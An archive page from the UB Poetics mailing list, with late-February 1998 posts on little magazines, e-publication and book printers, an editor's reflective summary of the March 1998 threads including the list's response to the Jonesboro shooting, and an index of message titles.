> *and Spenser's store, but here on this side of the Atlantic (i.e. the other side to most of you people) we thought the States invented all this stuff and that's why we're falling over ourselves now to put poets in hospitals, libraries, lingerie departments, what have you. Even as I write, I'm in the*

> *old National Ballroom, Dublin (Ireland) where I'm writer-in-residence for Dublin Corporation, and a couple of weeks back I did a short, experimental stint in a Nissan car plant. The idea came from the News department of RTE,*
> *our national TV broadcaster, no doubt spurred on by the appointed of a poet*
> *in residence to the BBC News department in London a couple of weeks back. As far as I can make out (initial novelty aside), it's all about reminding people that poetry doesn't have a natural home, per se. Still, I must admit*
> *that a recent circular to British and Irish poets about availability for workshops/residencies did make me sit up. Among the locations that might be ticked by the interested scribe were zoos and nuclear power stations!*
>
> *PAT BORAN*
> [redacted]

↑ Index

1099. **Hilton Manfred Obenzinger**
Re: Department Stores & Poets
Sat 28 Feb 1998

Oops -- hit the wrong key and wrote "Rob" instead of "Ron." Sorry.

Hilton

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1100. **Laura Moriarty**
Re: Critical issues
Sat 28 Feb 1998

To which (Ron's list) one could add

Dodie Bellamy
Rachel Blau DuPlessis
Diane Ward
Nicole Brossard
Norma Cole

For myself I would be very happy to see esp the older writers on these lists to get the decades overdue attention that not only their work deserves but that their teaching and actual influence warrants -

It seems a good use of the internet that such projects can be done relatively quickly and cheaply - though you can spend your life coding and corresponding -

I try to send printouts of non to the not-netted (though of course some texts and images are web-only knowable) - As an archivist I know that such hard copies collected at the various archives will be of lasting importance -

Relatedly -

Recently got some stats for non that suggest much readership - many hits form all over the world and want to thank people for checking in -

I've always thought that it's good to give something to the writing community esp if you expect anything back - run a series, publish a magazine etc - It feeds the work -

I also think (on another thread) that it's hard for anyone to really imagine David Bromige's true glamour if they haven't experienced it in person -

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

↑ Index

1101. **TBeck131**
Re: Critical issues
Sat 28 Feb 1998

Personally I'm nervous about people becoming too web-oriented. There's value in being able to read a mag in a coffee shop or on an exercycle or in the bath. And having only recently gotten wired I'm all too conscious of what it is to be without the technology. I do prefer the material book or mag. I can't stick a desktop in my pocket.

I absolutely agree with all the lists of deserving subjects of critical issues. What I'd like to see though is people coming forward with lists of critical issues they are willing to start taking on. Everyone knows what hasn't been done. What are all of us willing to do?

Tom B.

↑ Index

1102. **Steve Tills**
Re: The Critical Issue
Sat 28 Feb 1998

Willing to do us are all of what?

S.

Miekal And wrote:

> *TBeck131 wrote:*
>
> *What are all of us willing to do?*
> *What are all of us willing to do?*
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1103. **Joe Ahearn**
call for submissions
Sat 28 Feb 1998

In reply to Tom B and others:

VEER/
New Verse

Call for submissions

The first issue of VEER magazine will be distributed internationally via the World Wide Web in late 1998. VEER exists to provide both a forum and a showcase for heterodox literary practice. To that end, VEER's editors encourage submissions of innovative, finely articulated, culturally conscious texts.

We are especially interested in writers seeking to extend, transform, or transcend Marxist, Language, and "postmodern" traditions. We're just as interested in what comes next as you are. We want radical, risky work.

VEER accepts submissions of any length. We do not accept fiction, book reviews, or work that has previously appeared in either serial or book form. VEER encourages multiple submissions. Please submit work as follows:

e'mail:
[redacted]
(ASCII text or MS Word attachments)

Include the word VEER in your Subject: field.

U.S. Mail:
VEER
c/o Rancho Loco Press
1920 Abrams Parkway #382
Dallas TX 75214-3915
(SASE required)

To be added to our mailing list, send e'mail to
[redacted]. Include the single word LIST in your Subject:
field.

VEER is a Rancho Loco Press production.

Please
circulate this flyer.

By no means an orderly Dantescan
rising / but as the winds veer

At 12:40 AM 2/28/98 EST, you wrote:
>I'm sure my enthusiasm for this list will ebb and fade. Nonetheless my
>challenge was serious . I truly believe that all writers should edit and
>publish a magazine at some point in their career. And that the magazine
>should be as focused and considered as possible--it should be the evidence of
>the need that brought it forth. Magazines, reading series, talks and the like
>are the foundation blocks of the larger social project that a writing practice
>is--we all need to take responsibility for keeping these kinds of scenes
>renewed and alive. Doing a mag will teach you things you can't learn any
other
>way.Why not do what you can do, start what you can start sooner rather than
>later? If you think the "old guys" are getting all the attention then develop
>a context to attend to the work of that special thirty something, or neglected
>whomever. Only connect. I'll stop here. I'm starting to irritate myself.
>
>Tom Beckett
>
>

Joe Ahearn

_____

[redacted]

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1104. **Joel Kuszai**
critical issues/what do we do
Sat 28 Feb 1998

ok. it is like 70 degrees here and I'm sitting in a coffee shop and there are birds flying over head, swooping down on the crumbs scattered throughout. i don't mean to be an "advocate" for the biggest real estate boom since (pick colonial expansion of your choice). I certainly don't think that the web is going to replace anything. on the other hand, with the publishing racket the way it is, I don't see how there is any choice. Use it while it is free. And while I used to complain about questions of access, etc., Miekal And has pretty much demonstrated that the web offers more than may be immeidately clear. The biggest expense I encounter as a publisher is MAILING COSTS. I recently packaged up a package for Steve Evans and Jen Moxley who are now in France. It was going to cost me about ten dollars to send it over the slow boat to france. It had about 5 chapbooks and a tape of her reading in buffalo last spring. The same with Manuel Brito, who I wanted to send a similar mp luv pak, as he will often do the same for me. I asked the people at the USPS for the cheapest rate and it was still out of my range. I have to wait until after my trip to california as I just

couldn't do it. In U.S. there is 4thclass bookrate which is never a sure-thing even while I accept that it will be slow.

Bill Gates just gave half-a-mill to the Buffalo public libraries , to put internet-ready computers in every branch in poor neighborhoods. What we can do is develop our own sites as facilities of community outreach. Most academics are also teachers and most poets are closet missionaries, so the impetus to go out and develop a means of helping kids write the most bareass minimum of code (or develop templates which eliminate the need for extensive rewriting each time) kills off the computer access problem. Also--Taylor Brady at the Small pRess Collective in buffalo has promised that the first issue of SPC will be available as a PDF file, which means that "formatted texts" such as mags, etc., don't have to be read on line, they can be printed and taken outside into the glare of sunshine, read while fishing on the pier, etc. For the past two semesters I have experimented with teaching skeletal html to my freshman comp students. WEhen I first started teaching comp, I did a similar thing with e-mail and there was initial resistance then (about 5 years ago). Now, kids come into class with the most outrageous internet handles and as veterans of their own flame wars. Many of them have web pages and as a teacher I encourage them to develop their sites as extensions of their own writing (and I think it was Lyn Hejinian who once wrote that small press publishing was an "extension of one's own writing") to some degree of success. Therefore, I think we have a certain degree of responsibility to make our work available to that group of readers (read target audience). I was living in San Francisco during one of the great poetry wars there and had no idea what was going on, so physical proximity to events means nothing.

The Dictionary of Literary Biography is a giant reference book series published by Gale (I think) in Detroit. Joseph C's editing of that now two volume update of the contempoary author series has been going on for three or four years and is nearing completion.Are you out there Joe? But that is a library reference tool being created there, not a public web document. My points in bringing it up was to show one model for editorial activity: collecting and organizing the material from a variety of writer-sources. A web editor could be much the same thing. The essays in the DLB are generally definitive overviews of the poet's career as a writer, book by book. Take a look at it if you have a Univ. Library near you... (and that's the point)

I do share Tom's nervousness about people becoming too web oriented. As far as Miekal's recognition that "hits" do not constitute "consumption of content" (I forget his exact phrase) the same could be said for all the glossy journals piling up in attics across the land...at least mainstream books are pulped at the end of the tax year, remaindered for change. On the other hand, part of the intervention offered by web-stuffs can be the reminder to "go outside" (which is a

problem that most libraries have). Sometimes when I'm walking around I realize that I can't even read a book outdoors. It's like, er, "look up!"

On Sat, 28 Feb 1998, TBeck131 wrote:

> *Personally I'm nervous about people becoming too web-oriented. There's value in being able to read a mag in a coffee shop or on an exercycle or in the bath. And having only recently gotten wired I'm all too conscious of what it is to be without the technology. I do prefer the material book or mag. I can't stick a desktop in my pocket.*
>
> *I absolutely agree with all the lists of deserving subjects of critical issues. What I'd like to see though is people coming forward with lists of critical issues they are willing to start taking on. Everyone knows what hasn't been done. What are all of us willing to do?*
>
> *Tom B.*

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1105. **TBeck131**
smack
Sat 28 Feb 1998

In terms of risk, a poem functions in our wider culture like an unsolicited kiss.

Tom B.

↑ Index

1106. **TBeck131**
Re: this is the hour of the web
Sat 28 Feb 1998

I've been reading and re-reading Miekal's and Joel's recent postings.And I'm fascinated by the possibilities that the web would seem to present for collective actions. I need more education in these matters and look forward hearing what others have to say.

Tom B.

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1107. **sylvester pollet**
Re: You Too Can Edit a LitMag (or can you?)
Sat 28 Feb 1998

> *I'd be interested also to hear other's thoughts on e-publiation. Especially regarding publication or "previously published" status of*

> *texts as regards print mag editing as well as reading poetry on line, printing out e-pubs etc. Are people likely to read on-line or to print them out and read them on paper? How do "materialists" feel about such a disembodied space for poetry?*

Tom, Mike, others: I love the word "e-publiation" above--it sort of captures "not quite publication" for me, which is one of the problems. Granted the times are transitional, but Journals, etc. still insist on work not previously published, while the centers of power like grant agencies or tenure review boards don't count cyber as pub. So it's a situation where one might shoot oneself in both feet with one shot, isn't it? Clearly, this will change rapidly, as publication (paper publication) costs continue to rise & the websites become differentiated. I tend to not get around to sending work to net mags, for some reason. For visual or hypertext, obviously, things would be very different. But that's all one problem, & not really mine. I publish a series of broadsides, generally the work of one writer at a time. They are on good paper, photo-offset, but then I spend a huge amount of time hand-stamping a colophon, and hand-numbering. Why? Not to get theoretical-- or repeat William Morris & Co.--because it adds something. People respond to them differently. They save them. They reread them. Maybe that's antithetical to certain purposes, to Fluxus, for example, but I don't care. If I had more character, I might do them in handset type, though I would lose much. I've found a compromise that works for me, for now. The net, in my brief experience, fosters a skim&delete mentality, and that's not what I turn to poetry for. If anyone wants a sample, I'll send the two latest, #32 Nathaniel Tarn/Some Smalls & Dogs Dreaming, and #33 Jerome Rothenberg/At the Grave of Nakahara Chuya. Or you couold subscribe for a year, 8 issues, for $10. Next two, going to press Monday, are by Kathleen Fraser & Kusaya Eiichi (trans. D.W. Wright). Although you couldn't guess from these names, I also publish unknowns. I like Tom Beckett's call, and suggest the postcard-poem form for anyone--you can photocopy on card-stock pretty inexpensively. Sylvester Pollet/ Backwoods Broadsides/ RR 5 Box 3630 Ellsworth ME 04605 for subs or back-channel address for free sample.

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1108. **sylvester pollet**

Re: You Too Can Edit a LitMag (or can you?)

Sat 28 Feb 1998

Typing too fast--that's Kasuya Eiichi. some of his prose-poems trans. D.W. Wright appeared in the last Sulfur. I have six different ones. S.

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1109. **Bob Grumman**
Re: critical issues/what do we do
Sat 28 Feb 1998

Now I remember The Dictionary of Literary Biography that Joseph C mentioned. It's a good resource understandably limited in whom it covers.

--Bob G.

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1110. **Aldon Nielsen**
shingle author tissues
Sat 28 Feb 1998

while we're on this subject -- if a library near you has them, it would be worth your while to look at the old issues of Vort, edited many years ago by Barry Alpert -- special issues on Bromige, Irby, Kelly, Dorn etc -- didn't last long (and always asked the same question in the interview segment) -- but was a strong model for much that has come after

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1111. **Michael J. Kelleher**
e-(name of topic here)
Sat 28 Feb 1998

sylvester pollet wrote:

> *I love the word "e-publiation" above--it sort of captures "not quite publication" for me, which is one of the problems.*

Yes. I asked because a number of the authors I plan to publish have asked me the question: does e-publication count? I think and hope the answer to be becoming "yes."

The possibilities for poetic dissemination on the Web are incredible - that one can mail to 600 or more potential readers in an instant speaks well for the future of poetry publication - and it would seem as the goal of publication (I think) should be to both give (as in a gift) poetry to an audience and to give (as in a gift) an audience to the poet(ry), that web publication can (potentially) accomplish this end at least as well as print.

(Though, as Laura and others have stated, archiving too is important. E-chiving is in fact happening at the epc, where Loss frequently copies entire sites for the e-chive.)

Further digression: it seems to me in light of what I just said, and in light of the fact that I read too much Marshall McLuhan last fall, that the status of poetry

as a genre is (at least potentially) enriched by e-publication in that e-published poetry as medium is neither literal nor oral nor print, yet it shares aspects of all three in that it is alphabetic/visual (literal), performative/ephemeral (oral), and can be converted into visico-material format (print). A poetic hat trick, as it were.

Finally, as to e-po's ability to subvert authority, imagine: e-zines by the billions jamming the mailboxes of administrative assistants, receptionists, mailroom operators, everyone up the chain of corporate being reading poetry on the job instead of working!

Poetry readers of the world, unite!

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1112. Steven Marks
Re: Printers?
Sat 28 Feb 1998

I'll go with everybody else on this, I guess. It was about five years ago that I last dealt with Bookcrafters. Maybe we just got lucky. But definitely ask for samples and for the names of other customers.

Steven

On Sat, 28 Feb 1998, Mark Weiss wrote:

> *I'll second that emotion. Recently they gave me an estimate that was 10% below McNaughton & Gunn, which I use. I had them send me samples--they were awful (always ask for samples of the work of a printer who's new to you). All printers have problems, make mistakes. M & G is as good as any short-run company, and better than many. They screwed up the page back-up on one of Junction's books. My standards are pretty high. They trashed the whole print run and did it over at their expense. McNaughton & Gunn, [redacted]. Ask for Lori Potter, tell her I sent you--never hurts to grease the wheels. Turn around, by the way, is 4-5 weeks.*
>
> *At 08:57 AM 2/28/98 -0800, you wrote:*
> *Bookcrafters -- as almost any small publisher will tell you -- are crooks. And they do sloppy jobs. Never use them.*
>
> *D*
>
> *Steven Marks wrote:*
>
> *Tosh and other interested parties,*
>
> *With the company I used to work for, we used Bookcrafters in, I think,*

> *Michigan. You can find their ads in any writing type magazine. I think they are also listed in the resources section of Bookwire. We never had any problems with them. They are at the higher end of the range in price from what I remember, but the knowledge that the job is going to be done on time and right probably makes the extra $$ worth it.*
>
> *Steven*
>
> *On Fri, 27 Feb 1998, Tosh wrote:*
>
> *Hello List:*
>
> *Can anyone on this list recommend a good book printer. I imagine there are*
> *horror stories as well as pure happiness tales. Please back channel the info, unless you think the list would find it interesting.*
>
> *Thanks!*
>
> *Tosh*
>
> ---
> *Tosh Berman*
> *TamTam Books*
> ---
>
> ---
>
> *Steven Marks*
>
> *http://members.aol.com/swmarks/welcome.html*
>
> ---

Steven Marks

http://members.aol.com/swmarks/welcome.html

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1113. Dean Taciuch
web and various ways
Sat 28 Feb 1998

Ways of getting the word, the work "out there." Thanks to TomB for adding several new vectors to the group recently. Tom, perhaps I should backchannel this, but actually I think it relates to the recent threads about finding venues, etc.

Years ago, back in the 80s, I was in an Intro to Poetry course at Kent State, taught by a wonderful prof, Jacob Leed--he took us to the Kent State Library Rare Book room, back issues of Black Mountain Review, fantastic stuff--it wasn't until I left Kent that I realized what a treasure that was --I though all University libraries had such collections.

Anyway, Leed brought a local poet to class one day, mainly I suspect because he was interested--Tom Beckett. We, undergrads all, probably didn't appreciate the poetry, didn't "get it," but we were exposed, as we were in the library and in the better ourses, to work we didn't understand. If we understood it going in, after all, what would the point be?

So, Tom, a belated hey, thanks! and to all, even if you aren't in academia, there may be opportunities to reach into the classroom. . .the Internet is clearly one of these ways. In my Junior-level Humanities class, I had the students put there final projects online. It didn't work out as well as had hoped, but when I got my student comments this semester, several students remarked that learning to use the Internet was a valuable part of the course. I thought it had failed, we spent too much time learning the basics, but it seems it was useful.

Dean

↑ Index

1114. Scott Pound
Re: Authorized
Sat 28 Feb 1998

Meikal:

There's a McCaff issue of _Open Letter_ but it's pretty dated: fall 1987 (ouch, the year I graduated high school). It includes the only checklist/biblio of Steve's work that I know of (compiled by bpNichol).

Essex Studios and Tailspin Press are producing a catalogue of Steve's vispo (most of it never published) to commemorate his first ever performance of Carnival:Panel 2, which happened at Cornershop in Buffalo on Oct. 25, 1997.

Open Letter is available from Frank Davey ([redacted]).

The catalogue when it's done can be ordered from Bill Howe ([redacted]) or me ([redacted])

Scott Pound

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

March 1998

1084 messages · Sun 1 Mar 1998 – Tue 31 Mar 1998

Titanic took eleven Academy Awards on the twenty-third of March and the list mentions it fourteen times, mostly to be rude about it. On the twenty-fourth, at a middle school outside Jonesboro, Arkansas, a boy of eleven pulled the fire alarm, walked out to join a boy of thirteen in the trees, and the two of them shot the people who came out of the building: four children and their teacher, who was thirty-two. The list mentions this twenty-six times. After two years of watching this room let the world go past, I record that in March 1998 it did not.

It took five days to get there, because it was busy. Ted Berrigan is the most-named person in the month — two hundred and ninety-eight times — and the Berrigan thread is the room at its best: henry gould on what the New York School took from him, *"the fusion of formality & informality, of art & grunge"*, held in a lyrical balance that could only happen where art and money and squalor were competing on the same street. Elsewhere the room discovered it was left-handed. Sinister is Latin for left and gauche is French for it, and Jonathan Mayhew, joining in, bet that *"a large proportion of the poetics list subscribers"* were leftists, and meant both things at once.

Then on the twenty-ninth Ron Silliman wrote. He had not been impressed, he said, by the tone of the list for some weeks, and would love it if people tried to read one another occasionally and left off the name-calling. And then: Jonesboro is heart-breaking. It is part of the American pathology — the pure products, as Williams put it — that this country hardly asks why children not old enough to smoke, drink beer or drive are trained to use rifles. He was exactly right, and more right than he knew: the boy of eleven belonged to a gun club and shot in competitions, and the guns came out of his own family's cupboard.

The room answered him properly, which it has not always done. Daniel Bouchard said the two boys had only *"acted on the example of their government"*. Keston Sutherland, writing from England, noted that the one thing nobody questioned was the absence of any gun law at all, and asked with the punctuation of a man who already knows — *"this situation will never change in the US, right?"* Christina Chirot placed it in a long American tradition of purification, of purging the world of impurities. And Douglas Barbour said the truest thing in this archive, deadpan, reporting what the NRA had lately posted to the list: *"Poems don't kill people. People kill people."* Don't blame the poem.

In January a woman de-lurked to ask this list what the purpose of poetry was, and it could not tell her; eight days later it learned the word mondegreen, and that a thing misheard can be better than the thing said. March answers both, and nobody noticed. Barbour answered Bobbie West: poems do not kill people, which is the beginning of an honest reply and not the end of one. And Silliman, in a parenthesis, gave the room its second mondegreen — the name Jonesboro, which, *"as a one-time SF resident, I keep hearing as"* Jonestown. His ear reached back twenty years and supplied a different building full of the dead. I have left his parenthesis where he put it, because Sylvia Wright's rule holds everywhere but here. This mishearing is not better than the original. It is the same thing, said twice.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 1084 in all.

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390. Miekal And — Re: kootenay funding
391. TBeck131 — kootenay funding
392. Pierre Joris — Re: Steve McCaffery shafted
393. Shemurph — Re: kootenay funding
394. Hank Lazer — Re: kootenay funding
395. Poetics List Administration — 20th. C. American Women Poets; Call for articles (fwd)
396. Beth Joselow — generosity & readings
397. Mark Prejsnar — (Fwd) SAWSJ Conference, April 24-26 (fwd)
398. Aviva99999 — Re: 20th. C. American Women Poets; Call for articles (fwd)
399. k. lederer — Re: Ted vs. Ted-ism
400. Henry Gould — T. Wood's query re publishing
401. MAYHEW — favorite bad poets
402. linda russo — pomo metaphoracity
403. Susan Clark — The Kootenay School of Writing
404. s. kaipa — Re: Query
405. Hilton Manfred Obenzinger — Re: favorite bad poets

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406. Susan Clark — Charles' post
407. Maria Damon — Re: favorite bad poets
408. Tim Wood — Re: T. Wood's query re publishing
409. Maria Damon — Re: pomo metaphoracity
410. Nuyopoman — IN WITH THE OUT CROWD
411. MAYHEW — pomo metaphoracity
412. Eryque Gleason — jayne cortez/amiri baraka
413. Cadaly — Online Poetry Workshop through UCLA Extension
414. TBeck131 — With all due respect
415. MAYHEW — Undue Respect
416. Shemurph — Re: jayne cortez
417. Thomas Bell — Re: IN WITH THE OUT CROWD
418. JDHollo — Hilda Morley
419. Suzanne Burns — Re: Hilda Morley
420. Hzinnes — Re: Hilda Morley
421. TBeck131 — Re: Undue Respect
422. Steven Marks — Re: pomo metaphoracity

423. George Thompson — Re: pomo metaphoracity
424. SSSCHAEFER — query

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425. AERIALEDGE — Re: POETICS Digest - 8 Mar 1998 to 9 Mar 1998
426. david bromige — metaphor et al
427. henry gould — Re: pomo metaphoracity
428. Suzanne Burns — Re: Hilda Morley
429. Steven Marks — Re: pomo metaphoracity
430. Michael Magee — Re: pomo metaphoracity
431. Henry — Re: pomo metaphoracity
432. Douglas Barbour — Re: McCaffery & the breaking of the Temple
433. louis stroffolino — Re: sinister
434. k. lederer — Re: sinister
435. MAYHEW — sinister and gauche
436. Annie Finch — knife, phor/nymy, Cortez
437. MAYHEW — knife and fork
438. Hilton Manfred Obenzinger — Re: sinister and gauche
439. Charles Watts — Re: kootenay funding
440. Henry Gould — Re: sinister and gauche
441. George Thompson — Re: knife and fork
442. Susan Schultz — Re: sinister and gauche
443. MAXINE CHERNOFF — Re: sinister and gauche
444. Miekal And — [Fwd: Rejected posting to [redacted]]
445. Maz881 — Re: The Kootenay School of Writing
446. William Burmeister Prod — It's getting betta
447. Elizabeth Hatmaker — Re: sinister and gauche
448. Patrick F. Durgin — Re: knife and fork
449. MAYHEW — metonymy
450. Mark Baker — Re: sinister and gauche
451. George Bowering — Re: sinister
452. George Bowering — Re: sinister
453. George Bowering — Re: sinister and gauche
454. Maria Damon — Re: sinister
455. ScoutEW — left ee's
456. linda russo — metaphoracity redux
457. linda russo — Re: Hilda Morley
458. Dean Taciuch — Re: metonymy
459. Roger Farr — Re: sinister
460. david bromige — Sinister & Gauche
461. Susan Clark — Re: sinister
462. Maria Damon — Re: sinister
463. Bob Grumman — Re: sinister and gauche
464. Taylor Brady — Re: knife and fork
465. Thomas Bell — Re: pomo metaphoracity
466. Thomas Bell — Re: sinister and gauche
467. Kevin Varrone — Philly reading
468. Don Wellman — Re: pomo metaphoracity
469. Steven Marks — Re: pomo metaphoracity

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470. Henry Gould — Re: metaphoracity redux
471. Kasey Silem Mohammad Hicks — Re: Knife & Fork
472. rsillima — Ambi-ducks-trous
473. Schuchat Simon — Re: Ambi-ducks-trous
474. Daniel Zimmerman — Re: pomo metaphoracity
475. Henry Gould — Re: metaphoracity redux

476. Maria Damon — Re: metaphoracity redux
477. Maria Damon — Re: pomo metaphoracity
478. Nada Gordon — VIRUS WARNING
479. joel lewis — Hoxha & Salazar Rules!
480. Pritchett,Patrick — Re: Ambi-ducks-trous
481. Gary Sullivan — Dahlen/Campbell
482. Keston Sutherland — Books by JH Prynne (fwd)
483. david bromige — forwarded: Virus FYIs...
484. Thomas Bell — Re: Ambi-ducks-trous & Spahn
485. Pritchett,Patrick — Re: forwarded: Virus FYIs...
486. Joe Amato/Kass Fleisher — Re: sinister and gauche
487. Christopher W. Alexander — A.BACUS 1998
488. k. lederer — Re: sinister
489. David Kellogg — There ARE NO email viruses: these are hoaxes
490. Susan Clark — Re: Books by JH Prynne (fwd)
491. Patrick F. Durgin — Re: metaphoracity redux
492. MAYHEW — memorization
493. Patrick F. Durgin — Re: metaphoracity redux
494. William Burmeister Prod — Re: Sinister & Gauche
495. Henry Gould — Re: metaphoracity redux
496. Joseph Lease — Re: Hilda Morley
497. Michael Coffey — Re: sinister -Reply
498. linda russo — Re: metaphoracity redux
499. DANIEL L. COLLIER — Re: sinister and gauche
500. Martin Spinelli — sinister
501. sylvester pollet — China Conference 1999
502. Thomas Bell — Re: metaphoracity redux
503. Kcglowworm — metaphor metonymy
504. Aldon Nielsen — near miss
505. Scott Pound — Re: sinister
506. George Thompson — Re: metaphoracity redux
507. Philip Mead — Re: Steve McCaffery shafted
508. Thomas Bell — Re: metaphoracity redux
509. Keston Sutherland — gaudy joy and other double-deckers
510. George Thompson — Re: metaphoracity redux
511. Henry Gould — Re: metaphoracity redux
512. Henry Gould — Re: metaphor metonymy
513. louis stroffolino — Re: metaphoracity redux

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514. Carolyn Guertin — Webb/metaphor/indirect speech
515. Michael J. Kelleher — a l y r i c m a i l e r number 2
516. Michael J. Kelleher — a l y r i c m a i l e r #2
517. George Bowering — Re: left ee's
518. George Bowering — Re: sinister
519. George Bowering — Re: Ambi-ducks-trous
520. TBeck131 — goodbye
521. Maria Damon — Re: metaphoracity redux
522. Miekal And — Re: goodbye
523. Douglas Barbour — Re: Comprepoetica on sinister & gauche
524. Judy Roitman — virus
525. Annie Finch — Urgent Message re TIAA-CREF Campaign
526. jarnot — anthology of new american poets
527. Cadaly — Forks and Honey
528. Annie Finch — "metaphor" on a bus: deconstructing
529. Patrick F. Durgin — Re: goodbye

530. David Zauhar — Re: virus
531. sylvester pollet — Re: goodbye
532. William Burmeister Prod — Re: Forks and Honey
533. Brian Carpenter — UK query
534. Gabriel Gudding — Re: goodbye
535. Joe Amato/Kass Fleisher — Re: goodbye

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536. Alan Myouka Sondheim — Alanxy
537. rsillima — Readings in San Diego
538. Kcglowworm — Hartley on Mac Low
539. Richard Long — _The 2River View_, 2_3 (Spring 1998)
540. Gabriel Gudding — Re: goodbye
541. Gabriel Gudding — Deceased Poet Semenovich
542. Joe Amato/Kass Fleisher — Re: goodbye
543. Maria Damon — Re: Deceased Poet Semenovich
544. Gabriel Gudding — Re: Deceased Poet Semenovich
545. Thomas Bell — Re: pomo metaphoracity
546. Jordan Davis — discon
547. Don Wellman — Re: pomo metaphoracity
548. Martin Spinelli — London po
549. Martin Spinelli — Fw: subVoicive : Cayley : Spinelli [Glazier] : 17 Mar. London UK
550. Henry Gould — Re: sininster metaphors vs. dextrous metonymies
551. Tom Mandel — sininster metaphors vs. dextrous metonymies
552. CharSSmith — Fwd: NEW: SmallPress - Small Press,Limited Edition and Chapbook List
553. Stephen Cope — Re: Readings in San Diego

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554. Steve Tills — Re: Sound States
555. Stephen Cope — New Writing Series in San Diego
556. linda russo — Re: metaphoracity redux
557. Alan Myouka Sondheim — forwrded from Nikuko, a stupid poem
558. Burt Kimmelman — Re: Deceased Poet Semenovich
559. Gabriel Gudding — Re: Deceased Poet Semenovich
560. Douglas Barbour — Re: Tom Beckett's goodbye
561. Michael Heller — Bay Area: advertisments for myself
562. groberts — Re: sininster metaphors vs. dextrous metonymies
563. Miekal And — [Fwd: In Mourning & Memory on 3.14.98]
564. Al Filreis — Rakosi
565. Steve Shoemaker — Re: Rakosi

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566. Kcglowworm — sinister ministers and dextrous homogeneities
567. Henry Gould — Re: sinister ministers and dextrous homogeneities
568. Daniel Zimmerman — Re: sinister ministers and dextrous homogeneities
569. Fred Muratori — Ammonsfest at Cornell
570. Henry Gould — Re: sininster metaphors vs. dextrous metonymies
571. Jordan Davis — my adidas (snap! they're pooo mas)
572. MAYHEW — pomometametonymicalisexuality
573. Don Wellman — Re: pomometametonymicalisexuality
574. Keston Sutherland — fitter healthier etc
575. Aviva99999 — Re: pomometametonymicalisexuality
576. George Thompson — Re: pomometametonymicalisexuality
577. Nada Gordon — fake metaphors, similes, equivalences
578. Patrick F. Durgin — Re: fake metaphors, similes, equivalences
579. Steve Tills — Re: \engine dire
580. Keston Sutherland — Re: fake metaphors, similes, equivalences

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581. MAYHEW — simile
582. Tom Mandel — cruisingfiction
583. morpheal — Re: cruisingfiction
584. Michael Magee — Re: simile
585. groberts — Not on the map?
586. LanceEli3 — Re: cruisingfiction
587. Don Wellman — Re: understanding/pomometametonymicalisexuality
588. k. lederer — Re: Prageeta Sharma (fwd)
589. Kcglowworm — metonymphormality
590. louis stroffolino — Re: political unconscious metaphors
591. MAYHEW — political (un)conscious
592. Mark Nowak — _Xcp_ no. 2
593. Jordan Davis — boerdzhwa
594. Mark Prejsnar — Re: political unconscious metaphors
595. Daniel Zimmerman — Re: fake metaphors, similes, equivalences
596. William Burmeister Prod — Re: cruisingfiction
597. Aldon Nielsen — Re: spoonerisms anyone?
598. Aldon Nielsen — Re: SOY BOMB??????
599. Tom Mandel — dishing fork and spooning
600. Tom Mandel — the abstract point of toms....
601. Dale M Smith — Mike & Dale's Issue 8
602. Steve Tills — Re: women and men in conversation
603. Charles Bernstein — Close Listening: Poetry and the Performed Word (Announcement)
604. morpheal — Re: spoonerisms anyone?
605. morpheal — Re: Not in the nomen cultura.....
606. Mairead Byrne — Re: political (un)conscious
607. morpheal — Re: cruisingfiction : Geeze-US-az-po'et
608. morpheal — Re: cruisingfiction
609. CharSSmith — Re: Close Listening: Poetry and the Performed Word (Announcement)
610. William Burmeister Prod — Re: cruisingfiction
611. William Burmeister Prod — Live at Club Soy Bomb
612. michael corbin — Re: Close Listening: Poetry and the Performed Word (Announcement)
613. Mark Weiss — (no subject)

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614. George Bowering — Re: Not in the nomen cultura.....
615. Kasey Silem Mohammad Hicks — Re: political (un)conscious
616. Gary Sullivan — Belgum's Driver 23 at Underground Film Festival
617. Gary Sullivan — Fatimah Tuggar @ Tilton Gallery & New Museum
618. dbkk — Heller/objectivists/SPT
619. Maz881 — opposite
620. Safdie Joseph — Re: The Metaphor Express
621. Henry Gould — Re: cruisingfiction
622. Henry Gould — handedness
623. louis stroffolino — Re: The Metaphor Express
624. Marcella Durand — Mark Nowak's address

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625. groberts — a metaphor
626. dbkk — Nepotistic plug
627. Henry Gould — warts of religion
628. Burt Kimmelman — Re: Heller/objectivists/SPT
629. morpheal — Re: warts of religion
630. MAYHEW — Non-academic definitions of tropes
631. Tom Mandel — render into scissors

632. Tom Mandel — adorno's ashes
633. Michael J. Kelleher — Segue Reading
634. Henry Gould — I cain hep it
635. Joe Amato/Kass Fleisher — Re: The Metaphor Express
636. Pierre Joris — Re: adorno's ashes
637. morpheal — Re: a metaphor
638. Daniel Zimmerman — Re: adorno's ashes
639. LanceEli3 — Re: warts of religion
640. henry gould — Re: warts of religion
641. Pierre Joris — Adonis
642. morpheal — Re: I cain hep it
643. CharSSmith — Re: Heller/objectivists/SPT
644. Gwyn McVay — Any Korean speakers?
645. Mark Prejsnar — Re: opposite
646. Tom Vogler — [1]POETICS Digest - 17 Mar
647. Aldon Nielsen — Adonis
648. William Burmeister Prod — Re: Adonis
649. Daniel Zimmerman — Metaphornymia
650. Stephen Cope — Petition: Gay Rights/American Airlines
651. Nada Gordon — Re: understanding/pomometametonymicalisexuality
652. Daniel Zimmerman — Re: understanding/pomometametonymicalisexuality
653. morpheal — Re: Adonis
654. david bromige — shameful bowering promo
655. Don Wellman — Re: understanding/pomometametonymicalisexuality
656. Don Wellman — [Fwd: understanding/pomometametonymicalisexuality]
657. morpheal — Re: render into scissors
658. Pierre Joris — Re: Adonis
659. Pierre Joris — Re: Adonis
660. Daniel Zimmerman — Re: adorno's ashes

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661. Tom Vogler — [1]POETICS Digest - 18 Mar
662. J. Kuszai — quartermain query
663. George Bowering — Re: shameful bromige bromo
664. joanne molina — [Fwd: Ethics and Poetics Event at American University (fwd)]
665. Wolsak — Re: quartermain query
666. Gwyn McVay — science & metaphor
667. Jordan Davis — greater than / less than / equal to
668. Henry Gould — Re: science & metaphor
669. Mairead Byrne — Re: understanding/pomometametonymicalisexuality
670. Henry Gould — Re: biblical...?
671. Pierre Joris — Re: science & metaphor
672. Tom Mandel — biblical...?
673. Tom Mandel — thanks Dan, Pierre, et. al.
674. Don Wellman — Re: understanding/pomometametonymicalisexuality
675. henry gould — borrowings
676. Douglas — Re: Adonis
677. William Burmeister Prod — Re: science & metaphor
